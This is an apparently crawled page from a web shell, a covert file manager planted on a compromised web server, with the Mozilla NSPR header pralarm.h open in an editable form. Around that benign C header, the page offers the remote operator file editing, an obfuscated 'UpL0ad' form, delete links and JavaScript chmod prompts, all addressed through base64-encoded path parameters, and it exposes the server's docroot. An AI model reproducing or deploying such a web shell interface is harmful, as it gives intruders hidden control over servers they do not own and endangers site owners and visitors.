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<hr>pralarm.h<form method=post action="?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU%3D&f=cHJhbGFybS5o"><input name="f" value="pralarm.h"><textarea name="t">/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */

/*
** File:        pralarm.h
** Description: API to periodic alarms.
**
**
** Alarms are defined to invoke some client specified function at
** a time in the future. The notification may be a one time event
** or repeated at a fixed interval. The interval at which the next
** notification takes place may be modified by the client code only
** during the respective notification.
**
** The notification is delivered on a thread that is part of the
** alarm context (PRAlarm). The thread will inherit the priority
** of the Alarm creator.
**
** Any number of periodic alarms (PRAlarmID) may be created within
** the context of a single alarm (PRAlarm). The notifications will be
** scheduled as close to the desired time as possible.
**
** Repeating periodic notifies are expected to run at a fixed rate.
** That rate is expressed as some number of notifies per period where
** the period is much larger than a PRIntervalTime (see prinrval.h).
*/

#if !defined(pralarm_h)
#define pralarm_h

#include &quot;prtypes.h&quot;
#include &quot;prinrval.h&quot;


PR_BEGIN_EXTERN_C

/**********************************************************************/
/************************* TYPES AND CONSTANTS ************************/
/**********************************************************************/

typedef struct PRAlarm PRAlarm;
typedef struct PRAlarmID PRAlarmID;

typedef PRBool (PR_CALLBACK *PRPeriodicAlarmFn)(
    PRAlarmID *id, void *clientData, PRUint32 late);

/**********************************************************************/
/****************************** FUNCTIONS *****************************/
/**********************************************************************/

/***********************************************************************
** FUNCTION:    PR_CreateAlarm
** DESCRIPTION:
**  Create an alarm context.
** INPUTS:      void
** OUTPUTS:     None
** RETURN:      PRAlarm*
**
** SIDE EFFECTS:
**  This creates an alarm context, which is an object used for subsequent
**  notification creations. It also creates a thread that will be used to
** deliver the notifications that are expected to be defined. The client
** is resposible for destroying the context when appropriate.
** RESTRICTIONS:
**  None.
** MEMORY:      The object (PRAlarm) and a thread to support notifications.
** ALGORITHM:   N/A
***********************************************************************/
NSPR_API(PRAlarm*) PR_CreateAlarm(void);

/***********************************************************************
** FUNCTION:    PR_DestroyAlarm
** DESCRIPTION:
**  Destroys the context created by PR_CreateAlarm().
** INPUTS:      PRAlarm*
** OUTPUTS:     None
** RETURN:      PRStatus
**
** SIDE EFFECTS:
**  This destroys the context that was created by PR_CreateAlarm().
**  If there are any active alarms (PRAlarmID), they will be cancelled.
**  Once that is done, the thread that was used to deliver the alarms
**  will be joined.
** RESTRICTIONS:
**  None.
** MEMORY:      N/A
** ALGORITHM:   N/A
***********************************************************************/
NSPR_API(PRStatus) PR_DestroyAlarm(PRAlarm *alarm);

/***********************************************************************
** FUNCTION:    PR_SetAlarm
** DESCRIPTION:
**  Creates a periodic notifier that is to be delivered to a specified
**  function at some fixed interval.
** INPUTS:      PRAlarm *alarm              Parent alarm context
**              PRIntervalTime period       Interval over which the notifies
**                                          are delivered.
**              PRUint32 rate               The rate within the interval that
**                                          the notifies will be delivered.
**              PRPeriodicAlarmFn function  Entry point where the notifies
**                                          will be delivered.
** OUTPUTS:     None
** RETURN:      PRAlarmID*                  Handle to the notifier just created
**                                          or NULL if the request failed.
**
** SIDE EFFECTS:
**  A periodic notifier is created. The notifications will be delivered
**  by the alarm's internal thread at a fixed interval whose rate is the
**  number of interrupts per interval specified. The first notification
**  will be delivered as soon as possible, and they will continue until
**  the notifier routine indicates that they should cease of the alarm
**  context is destroyed (PR_DestroyAlarm).
** RESTRICTIONS:
**  None.
** MEMORY:      Memory for the notifier object.
** ALGORITHM:   The rate at which notifications are delivered are stated
**              to be &quot;'rate' notifies per 'interval'&quot;. The exact time of
**              the notification is computed based on a epoch established
**              when the notifier was set. Each notification is delivered
**              not ealier than the epoch plus the fixed rate times the
**              notification sequence number. Such notifications have the
**              potential to be late by not more than 'interval'/'rate'.
**              The amount of lateness of one notification is taken into
**              account on the next in an attempt to avoid long term slew.
***********************************************************************/
NSPR_API(PRAlarmID*) PR_SetAlarm(
    PRAlarm *alarm, PRIntervalTime period, PRUint32 rate,
    PRPeriodicAlarmFn function, void *clientData);

/***********************************************************************
** FUNCTION:    PR_ResetAlarm
** DESCRIPTION:
**  Resets an existing alarm.
** INPUTS:      PRAlarmID *id               Identify of the notifier.
**              PRIntervalTime period       Interval over which the notifies
**                                          are delivered.
**              PRUint32 rate               The rate within the interval that
**                                          the notifies will be delivered.
** OUTPUTS:     None
** RETURN:      PRStatus                    Indication of completion.
**
** SIDE EFFECTS:
**  An existing alarm may have its period and rate redefined. The
**  additional side effect is that the notifier's epoch is recomputed.
**  The first notification delivered by the newly refreshed alarm is
**  defined to be 'interval'/'rate' from the time of the reset.
** RESTRICTIONS:
**  This function may only be called in the notifier for that alarm.
** MEMORY:      N/A.
** ALGORITHM:   See PR_SetAlarm().
***********************************************************************/
NSPR_API(PRStatus) PR_ResetAlarm(
    PRAlarmID *id, PRIntervalTime period, PRUint32 rate);

PR_END_EXTERN_C

#endif /* !defined(pralarm_h) */

/* prinrval.h */
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/include/nspr/obsolete<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL25zcHI="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU=&x=cHJhbGFybS5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU=&f=cHJhbGFybS5o"/>pralarm.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU=&f=cHJhbGFybS5o&c=`+btoa(c):0" value="0644"></td><td>6937</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU=&x=cHJvYnNsZXQuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU=&f=cHJvYnNsZXQuaA=="/>probslet.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU=&f=cHJvYnNsZXQuaA==&c=`+btoa(c):0" value="0644"></td><td>5420</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU=&x=cHJvdHlwZXMuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU=&f=cHJvdHlwZXMuaA=="/>protypes.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU=&f=cHJvdHlwZXMuaA==&c=`+btoa(c):0" value="0644"></td><td>4552</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU=&x=cHJzZW0uaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU=&f=cHJzZW0uaA=="/>prsem.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25zcHIvb2Jzb2xldGU=&f=cHJzZW0uaA==&c=`+btoa(c):0" value="0644"></td><td>2047</td></tr></table>